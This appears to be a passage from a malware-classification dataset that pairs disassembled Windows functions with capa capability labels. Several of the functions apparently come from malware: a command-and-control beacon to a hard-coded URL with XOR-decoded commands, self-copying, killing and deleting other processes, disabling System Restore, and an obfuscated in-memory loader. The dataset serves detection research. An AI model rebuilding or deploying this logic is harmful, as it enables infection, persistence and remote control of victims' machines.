joyce8/EMBER2024-capa huggingface dataset:
Function at 0x426fc0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42cbc5
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x438080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
mov edx, edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x10]
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x30], eax
jb 0x427003
mov edx, dword [edi]
mov ecx, edx
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x427020
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.004106a0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0x2200000
push 3
push 0
push 7
push 0x88
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x38], esi
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 3
cmp eax, 8
jb 0x427082
inc eax
lea ecx, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
call fcn.0040ef00
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 2
cmp esi, 0xffffffff
jne 0x42710a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x34], eax
cmp eax, 5
jne 0x4270f7
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x4270b7
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4270ec
test esi, 0x400
jne 0x4270f4
push esi
push edi
call fcn.004266e0
mov ecx, dword [ebp - 0x2c]
and esi, 0x10
or esi, 0x20
add esp, 8
shr esi, 4
mov dword [ecx], esi
mov dword [ecx + 4], eax
mov eax, ecx
jmp 0x42712b
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4270f7
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x2c]
push eax
push edi
call fcn.00426bd0
add esp, 0x10
jmp 0x427129
push dword [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x2c]
push esi
push edi
call fcn.00426d20
add esp, 0x10
push esi
mov dword [ebp - 4], 6
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429136
mov esp, ebp
pop ebp
ret

Function at 0x429c3e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x429c7d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x429c7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x429c7d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x429c7d
cmp dword [ecx + 0x74], 0xe
jbe 0x429c7d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x1cadfaf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1cadfbe
pop dword [ebp - 0x38]
mov eax, 0xa0776603
add eax, 0x615379bb
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x62fbd3fc
sub dword [ebp - 0x48], 0x14a98eb1
mov dword [ebp - 0x44], 0x515984f5
sub dword [ebp - 0x44], 0x1f2638b0
mov dword [ebp - 0x40], 0xa942e83b
add dword [ebp - 0x40], 0xa3095bf3
mov dword [ebp - 0x3c], 0x4b95a6f1
add dword [ebp - 0x3c], 0xb46a590f
lea eax, [ebp - 0x48]
push eax
mov eax, 0x220040
add eax, 0x1a94014
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xf2b564ce
sub dword [ebp - 0x48], 0x7e42fb78
mov dword [ebp - 0x44], 0x90f61a6c
sub dword [ebp - 0x44], 0x4f89b8f7
mov dword [ebp - 0x40], 0xd1cbc367
sub dword [ebp - 0x40], 0x6e5c56fb
mov dword [ebp - 0x3c], 0x827e714
sub dword [ebp - 0x3c], 0x827e714
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x4f72e02c
sub eax, 0x4da7a020
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x4457e
push 0
call eax
mov ecx, 0x2bd737e9
add ecx, 0xd4291a45
mov edx, eax
mov ebx, 0xff7c2253
sub ebx, 0xfdac9853
add ebx, dword [ebp - 0x38]
mov edi, 0xd124326f
add edi, 0x93071880
add dword [ebp - 4], edx
mov esi, dword [ebx]
add dword [ebp - 0x24], 0xf7e121fc
sub esi, edi
add dword [ebp - 0x30], ebx
mov dword [edx], esi
xor dword [ebp - 4], 0x29c13094
add edx, 0xf43c47cb
sub edx, 0xf43c47c7
add ebx, 0x668ce869
add ebx, 0x9973179b
loop 0x1cae0e0
add eax, 0x119c134e
add eax, 0xee65283d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x674a612d
add ecx, 0x9a779ed3
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x403479
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 4], 0x1000
lea eax, [ebp - 4]
push eax
push 0x40b5b9
push 0
call sub.wininet.dll_FindFirstUrlCacheEntryA
or eax, eax
je 0x4034dc
mov dword [ebp - 0x10], eax
mov edx, 0x40b5b9
push dword [edx + 4]
call sub.wininet.dll_DeleteUrlCacheEntryA
mov dword [ebp - 4], 0x1000
lea eax, [ebp - 4]
push eax
push 0x40b5b9
push dword [ebp - 0x10]
call sub.wininet.dll_FindNextUrlCacheEntryA
or eax, eax
je 0x4034d8
mov dword [ebp - 0x10], eax
mov edx, 0x40b5b9
push dword [edx + 4]
call sub.wininet.dll_DeleteUrlCacheEntryA
jmp 0x4034da
jmp 0x4034dc
jmp 0x4034aa
leave
ret

Function at 0x40375e
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0x186a0
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
or eax, eax
je 0x403871
mov dword [ebp - 4], eax
push str.text
push dword [ebp - 4]
call sub.KERNEL32.DLL_lstrcpyA
push dword [ebp + 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_lstrcatA
push str.url
push dword [ebp - 4]
call sub.KERNEL32.DLL_lstrcatA
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.KERNEL32.DLL_lstrcatA
jmp 0x4037de
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__SPGK_
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
or eax, eax
je 0x403871
push 1
push 0
push 3
push 0
push 0
push dword [0x40927b]
push 0x409240
push dword [ebp - 8]
call sub.wininet.dll_InternetConnectA
mov dword [ebp - 0xc], eax
or eax, eax
je 0x403869
push 1
push 0
push 0
push 0
push 0
push str.im_pst.php
push 0x424cc4
push dword [ebp - 0xc]
call sub.wininet.dll_HttpOpenRequestA
mov dword [ebp - 0x10], eax
or eax, eax
je 0x403861
push dword [ebp - 4]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 4]
push 0x2f
push 0x4037ad
push dword [ebp - 0x10]
call sub.wininet.dll_HttpSendRequestA
push dword [ebp - 0x10]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 0xc]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 8]
call sub.wininet.dll_InternetCloseHandle
leave
ret 8
Function at 0x403950
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push str.E__D
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0x7530
push 0x40b5b9
call fcn.00407690
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__SPGK_
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 4], eax
or eax, eax
je 0x403a4e
push 1
push 0
push 3
push 0
push 0
push 0x50
push 0x409240
push dword [ebp - 4]
call sub.wininet.dll_InternetConnectA
mov dword [ebp - 8], eax
or eax, eax
je 0x403a46
push 1
push 0
push 0
push 0
push 0
push str.rz_report.php
push 0x424cd4
push dword [ebp - 8]
call sub.wininet.dll_HttpOpenRequestA
mov dword [ebp - 0xc], eax
or eax, eax
je 0x403a3e
push 0x426666
call sub.KERNEL32.DLL_lstrlenA
push eax
push eax
push str.ln_ldrp
push 0x40b5b9
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0x40b5b9
call sub.KERNEL32.DLL_lstrlenA
lea edx, [0x40b5b9]
add edx, eax
pop eax
push edx
push eax
push 0x426666
call fcn.00403694
push 0x40b5b9
call sub.KERNEL32.DLL_lstrlenA
push eax
push 0x40b5b9
push 0x2f
push 0x4037ad
push dword [ebp - 0xc]
call sub.wininet.dll_HttpSendRequestA
push dword [ebp - 0xc]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 8]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 4]
call sub.wininet.dll_InternetCloseHandle
call fcn.00403e7c
leave
ret

Function at 0x403a9a
Capabilities:
Create http request
Encode data using xor
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push str.http:__ekosearch.com_rz_mn.php_verH1
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcpyA
push str.vc
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
push str.V2.40_
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
mov dword [ebp - 4], 0
push 0
push 0
push 0
push 1
push str.Mozilla_4.0__SPGK_
call sub.wininet.dll_InternetOpenA
or eax, eax
je 0x403bb7
mov dword [ebp - 8], eax
push 0
push 0x80000000
push 0
push 0
push 0x40b5b9
push dword [ebp - 8]
call sub.wininet.dll_InternetOpenUrlA
or eax, eax
je 0x403bb7
mov dword [ebp - 0xc], eax
push 0
push 0
push 0x432dce
push dword [ebp - 0xc]
call sub.wininet.dll_InternetQueryDataAvailable
push 0x424ff8
push dword [0x432dce]
lea eax, [ebp - 0x40c]
push eax
push dword [ebp - 0xc]
call sub.wininet.dll_InternetReadFile
or eax, eax
je 0x403bb7
cmp dword [0x424ff8], 0xa
jbe 0x403bb7
lea edi, [ebp - 0x40c]
mov ecx, dword [0x424ff8]
mov al, byte [edi]
xor al, 1
mov byte [edi], al
inc edi
loop 0x403b5b
mov byte [edi], 0
push 9
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x416]
push eax
call sub.KERNEL32.DLL_lstrcpynA
lea eax, [ebp - 0x416]
push eax
call fcn.004074dc
mov dword [0x432dce], eax
lea eax, [ebp - 0x40c]
push eax
call sub.KERNEL32.DLL_lstrlenA
cmp eax, dword [0x432dce]
jne 0x403bb7
lea eax, [ebp - 0x40c]
push eax
push dword [ebp + 8]
call sub.KERNEL32.DLL_lstrcpyA
mov dword [ebp - 4], 1
push dword [ebp - 0xc]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 8]
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x403bce
Capabilities:
Check internet connectivity via wininet

Disassembly:
push 0
push 0
call sub.wininet.dll_InternetGetConnectedState
mov eax, 1
or eax, eax
je 0x403e7b
push 0x425df0
call fcn.00403a9a
or eax, eax
je 0x403e7b
mov esi, 0x425df0
add esi, 8
mov eax, dword [esi]
cmp eax, 0x54494157
jne 0x403c27
add esi, 0xc
push esi
call fcn.004074dc
cmp eax, 0x1b7740
jbe 0x403c1c
mov eax, 0x1b7740
push eax
call sub.KERNEL32.DLL_Sleep
jmp 0x403e7b
cmp eax, 0x44414f4c
jne 0x403ccc
add esi, 4
xor eax, eax
mov al, byte [esi]
mov dword [0x432dd6], eax
inc esi
push esi
push 0x4251ec
call sub.KERNEL32.DLL_lstrcpyA
push 0x4251ec
call sub.KERNEL32.DLL_lstrlenA
mov esi, 0x4251ec
cmp eax, 0xa
jbe 0x403e7b
cmp dword [esi], 0x70747468
jne 0x403e7b
call fcn.00403e7c
push 0x425df0
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x424cf0
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x4251ec
call fcn.00406121
cmp dword [0x432dd6], 0x33
jne 0x403cb3
push str.EXIT_
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
call fcn.00403950
cmp dword [0x432dd6], 0x33
jne 0x403cc7
push eax
call sub.KERNEL32.DLL_ExitProcess
jmp 0x403e7b
cmp eax, 0x54495845
jne 0x403cde
push eax
call sub.KERNEL32.DLL_ExitProcess
jmp 0x403e7b
cmp eax, 0x55524c43
jne 0x403cf6
mov dword [0x432dd6], 0x50
jmp 0x403d0b
cmp eax, 0x4b494c43
jne 0x403e7b
mov dword [0x432dd6], 0
add esi, 4
lea edi, [0x4265f2]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
mov byte [edi], 0
lea edi, [0x40b5b9]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
mov byte [edi], 0
push 0x40b5b9
call fcn.004074dc
mov dword [0x432de6], eax
cmp dword [esi], 0x23232323
jne 0x403e7b
push 0x4265f2
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x424cfc
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x40b5b9
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x424d00
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
jmp 0x403e69
add esi, 4
lea edi, [0x4265fc]
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
mov byte [edi], 0
lea edi, [0x4251ec]
jmp 0x403d97
movsb byte es:[edi], byte [esi]
cmp byte [esi], 0
je 0x403da4
cmp dword [esi], 0x23232323
jne 0x403d96
mov byte [edi], 0
push esi
mov esi, 0x4251ec
mov edi, 0x4259ec
jmp 0x403dc0
cmp byte [esi], 0x3d
jne 0x403dbf
inc esi
mov edi, 0x4259ec
movsb byte es:[edi], byte [esi]
cmp byte [esi], 0
jne 0x403db4
mov byte [edi], 0
push 0x40b5b9
push 0x4251ec
call fcn.00403a55
push 0x40b5b9
push 0x4251ec
call sub.KERNEL32.DLL_lstrcpyA
inc dword [0x4329b6]
mov dword [str.__], 0
call fcn.00401e02
cmp dword [str.__], 0
je 0x403e15
mov edx, dword [str.__]
mov edx, dword [edx]
push dword [str.__]
call dword [edx + 8]
push 0x424d08
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x4265fc
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x42db96
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push str.
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0x1388
push 0x42db96
call fcn.00407690
pop esi
dec dword [0x432de6]
cmp dword [0x432de6], 0
jne 0x403d80
call fcn.00403950
ret
Function at 0x403ff9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x404034
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x404040
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
je 0x404083
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push str.REG_SZ
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyExA
or eax, eax
jne 0x4040a3
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
push 4
push dword [ebp + 0x14]
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0x10

Function at 0x4042ba
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov dword [ebp - 4], 0
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x404331
mov dword [0x424ff4], eax
push 2
push 0
push 0xfffffffffffffffc
push dword [0x424ff4]
call sub.KERNEL32.DLL_SetFilePointer
push 0
push 0x432dc6
push 4
push 0x40b5b9
push dword [0x424ff4]
call sub.KERNEL32.DLL_ReadFile
mov edi, 0x40b5b9
cmp dword [edi], 0x23232323
jne 0x404326
mov dword [ebp - 4], 1
push dword [0x424ff4]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x404338
Capabilities:
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov dword [ebp - 4], 0
push 0
push 0x20
push 3
push 0
push 3
push 0x40000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x404469
mov dword [0x424ff4], eax
push 0x64
call fcn.004076e0
cmp eax, 0x32
jae 0x404416
push 2
push 0
push 0xfffffffffffffffc
push dword [0x424ff4]
call sub.KERNEL32.DLL_SetFilePointer
push 0x100
push 0
push 0x4135b9
call fcn.00407690
push 0
push 0x424ff8
push 0x100
push 0x4135b9
push dword [0x424ff4]
call sub.KERNEL32.DLL_WriteFile
push 2
push 0
push 0xffffff00
push dword [0x424ff4]
call sub.KERNEL32.DLL_SetFilePointer
push 0
push 0x424ff8
push 4
push 0x424d64
push dword [0x424ff4]
call sub.KERNEL32.DLL_WriteFile
push 0x4135b9
push str.Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.9__Gecko_2008052906_Firefox_3.0Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.9.0.1__Gecko_2008070208_Firefox_3.0.1Mozilla_5.0__Windows__U__Windows_NT_6.0__en_US__rv:1.9.0.3__Gecko_2008092417_Firefox_3.0.3Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.9.1__Gecko_20090624_Firefox_3.5Mozilla_5.0__Windows__U__Windows_NT_6.0__en_US__rv:1.9.1.1__Gecko_20090715_Firefox_3.5.1Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.9.1.9__Gecko_20100315_Firefox_3.5.9Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.9.2.3__Gecko_20100401_Firefox_3.6.3Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.9.2.3__Gecko_20100401_Firefox_3.6.3Mozilla_5.0__Windows__U__Windows_NT_6.0__en_US__rv:1.9.2.3__Gecko_20100401_Firefox_3.6.3Mozilla_5.0__Windows__U__Windows_NT_5.1__ru__rv:1.9.2.8__Gecko_20100722_Firefox_3.6.8Mozilla_5.0__Windows__U__Windows_NT_5.1__ru__rv:1.9.2.8__Gecko_20100722_Firefox_3.6.8Mozilla_5.0__Windows__U__Windows_NT_5.1__ru__rv:1.9.2.8__Gecko_20100722_Firefox_3.6.8Mozilla_5.0__Windows__U__Windows_NT_5.1__ru__rv:1.9.2.13__Gecko_20101203_Firefox_3.6.13Mozilla_5.0__Windows__U__Windows_NT_5.1__ru__rv:1.9.2.13__Gecko_20101203_Firefox_3.6.13Mozilla_5.0__Windows__U__Windows_NT_5.1__ru__rv:1.9.2.13__Gecko_20101203_Firefox_3.6.13Mozilla_5.0__Windows__U__Windows_NT_5.1__ru__rv:1.9.2.13__Gecko_20101203_Firefox_3.6.13Mozilla_5.0__Windows__U__Windows_NT_6.1__en_US__AppleWebKit_532.5__KHTML__like_Gecko__Chrome_4.0.249.89_Safari_532.5Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__AppleWebKit_533.9__KHTML__like_Gecko__Chrome_6.0.401.1_Safari_533.9Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__AppleWebKit_534.0__KHTML__like_Gecko__Chrome_6.0.408.1_Safari_534.0IE_MY_Class
call fcn.004049af
push 0x4135b9
call sub.KERNEL32.DLL_lstrlenA
push 0
push 0x424ff8
push eax
push 0x4135b9
push dword [0x424ff4]
call sub.KERNEL32.DLL_WriteFile
push 2
push 0
push 0xfffffffffffffffc
push dword [0x424ff4]
call sub.KERNEL32.DLL_SetFilePointer
mov dword [0x41b5b9], 0x23232323
push 0
push 0x424ff8
push 4
push 0x41b5b9
push dword [0x424ff4]
call sub.KERNEL32.DLL_WriteFile
or eax, eax
je 0x40445e
cmp dword [0x424ff8], 4
jne 0x40445e
mov dword [ebp - 4], 1
push dword [0x424ff4]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x404470
Capabilities:
Copy file
Create process on windows
Create process suspended
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov dword [ebp - 4], 0
push 0x64
call fcn.004076e0
cmp eax, 0x28
jbe 0x40449a
push 0x40b5b9
push 0x802
call sub.KERNEL32.DLL_GetTempPathA
jmp 0x4044b8
push 0x802
push 0x40b5b9
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x409564
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
push dword [ebp + 8]
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
push str..exe
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
push 0x40b5b9
call sub.KERNEL32.DLL_DeleteFileA
push 0x800
push 0x4135b9
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0x40b5b9
push 0x4135b9
call sub.KERNEL32.DLL_CopyFileA
push 0x40b5b9
call fcn.00404338
or eax, eax
je 0x404566
push 2
push 0x40b5b9
call sub.KERNEL32.DLL_SetFileAttributesA
mov dword [0x426606], 0x44
push 0x426606
call sub.KERNEL32.DLL_GetStartupInfoA
mov dword [0x426632], 1
mov word [0x426636], 0
push 0x42664a
push 0x426606
push 0
push 0
push 0
push 1
push 0
push 0
push 0x40b5b9
push 0
call sub.KERNEL32.DLL_CreateProcessA
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x40456d
Capabilities:
Delete file
Enumerate process modules
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffdd54
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 8], eax
jmp 0x4046d0
call sub.KERNEL32.DLL_GetCurrentProcessId
cmp dword [ebp - 0x128], eax
je 0x4046be
push dword [ebp - 0x128]
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov dword [0x432dde], eax
cmp dword [0x432dde], 0
je 0x4046be
lea eax, [ebp - 0x129c]
push eax
push 4
lea eax, [ebp - 0x12a0]
push eax
push dword [0x432dde]
call sub.psapi.dll_EnumProcessModules
or eax, eax
je 0x4046b6
push 0x800
lea eax, [ebp - 0x1aa0]
push eax
push dword [ebp - 0x12a0]
push dword [0x432dde]
call sub.psapi.dll_GetModuleFileNameExA
push 0x800
lea eax, [ebp - 0x22a0]
push eax
push dword [ebp - 0x12a0]
push dword [0x432dde]
call sub.psapi.dll_GetModuleBaseNameA
lea eax, [ebp - 0x1aa0]
push eax
call fcn.004042ba
or eax, eax
je 0x404666
push 0
push dword [0x432dde]
call sub.KERNEL32.DLL_TerminateProcess
or eax, eax
je 0x404664
lea eax, [ebp - 0x1aa0]
push eax
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x4046b6
jmp 0x4046b6
mov dword [ebp - 0x22ac], 0
lea edi, [ebp - 0x22a0]
jmp 0x404689
mov al, byte [edi]
cmp al, 0x30
jb 0x404682
cmp al, 0x3a
jbe 0x404688
inc dword [ebp - 0x22ac]
inc edi
cmp byte [edi], 0
jne 0x404678
cmp dword [ebp - 0x22ac], 5
jae 0x4046b6
push 0
push dword [0x432dde]
call sub.KERNEL32.DLL_TerminateProcess
or eax, eax
je 0x4046b6
lea eax, [ebp - 0x1aa0]
push eax
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x4046b6
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4045a3
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x22a4]
call sub.KERNEL32.DLL_GlobalFree
leave
ret
Function at 0x4046ef
Capabilities:
Delete file
Enumerate process modules
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffdd54
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 8], eax
jmp 0x404850
call sub.KERNEL32.DLL_GetCurrentProcessId
cmp dword [ebp - 0x128], eax
je 0x40483e
push dword [ebp - 0x128]
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov dword [0x432dde], eax
cmp dword [0x432dde], 0
je 0x40483e
lea eax, [ebp - 0x129c]
push eax
push 4
lea eax, [ebp - 0x12a0]
push eax
push dword [0x432dde]
call sub.psapi.dll_EnumProcessModules
or eax, eax
je 0x404836
push 0x800
lea eax, [ebp - 0x1aa0]
push eax
push dword [ebp - 0x12a0]
push dword [0x432dde]
call sub.psapi.dll_GetModuleFileNameExA
push 0x800
lea eax, [ebp - 0x22a0]
push eax
push dword [ebp - 0x12a0]
push dword [0x432dde]
call sub.psapi.dll_GetModuleBaseNameA
mov dword [ebp - 0x22ac], 0
lea edi, [ebp - 0x22a0]
jmp 0x4047da
mov al, byte [edi]
cmp al, 0x30
jb 0x4047d3
cmp al, 0x3a
jbe 0x4047d9
inc dword [ebp - 0x22ac]
inc edi
cmp byte [edi], 0
jne 0x4047c9
cmp dword [ebp - 0x22ac], 5
jae 0x404836
push 0
push dword [0x432dde]
call sub.KERNEL32.DLL_TerminateProcess
or eax, eax
je 0x404827
lea eax, [ebp - 0x1aa0]
push eax
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0x22a0]
push eax
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push str._END_
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
jmp 0x404836
push str.ERR_
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x404725
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x22a4]
call sub.KERNEL32.DLL_GlobalFree
leave
ret

Function at 0x404a08
Capabilities:
Disable system restore features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0x424ff8
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_NTSystemRestore
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x424ff8], 1
push 4
push 0x424ff8
push 4
push 0
push str.DisableSR
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret